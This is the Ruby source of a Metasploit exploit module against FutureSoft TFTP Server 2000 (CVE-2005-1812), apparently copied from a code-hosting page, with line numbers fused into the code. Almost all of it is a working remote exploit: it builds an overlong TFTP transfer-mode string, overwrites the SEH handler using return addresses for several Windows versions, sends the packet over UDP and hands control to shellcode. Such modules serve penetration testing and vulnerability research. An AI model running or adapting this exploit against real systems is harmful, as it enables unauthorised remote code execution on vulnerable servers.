Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/futuresoft_transfermode.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the FutureSoft TFTP Server162000 product. By sending an overly long transfer-mode string, we were able17to overwrite both the SEH and the saved EIP. A subsequent write-exception18that will occur allows the transferring of execution to our shellcode19via the overwritten SEH. This module has been tested against Windows202000 Professional and for some reason does not seem to work against21Windows 2000 Server (could not trigger the overflow at all).22},23'Author' => 'MC',24'References' =>25[26['CVE', '2005-1812'],27['OSVDB', '16954'],28['BID', '13821']2930],31'DefaultOptions' =>32{33'EXITFUNC' => 'process',34},35'Payload' =>36{37'Space' => 350,38'BadChars' => "\x00",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4} ], # ws2help.dll45['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad} ], # ws2help.dll46['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799} ], # ws2help.dll47['Windows 2003 Server English', { 'Ret' => 0x7ffc0638} ], # PEB return48],49'Privileged' => true,50'DisclosureDate' => '2005-05-31'))5152register_options(53[54Opt::RPORT(69)55])5657end5859def exploit60connect_udp6162print_status("Trying target #{target.name}...")6364sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"65sploit += rand_text_english(167, payload_badchars)66seh = generate_seh_payload(target.ret)67sploit[157, seh.length] = seh68sploit += "\x00"6970udp_sock.put(sploit)7172handler73disconnect_udp74end75end767778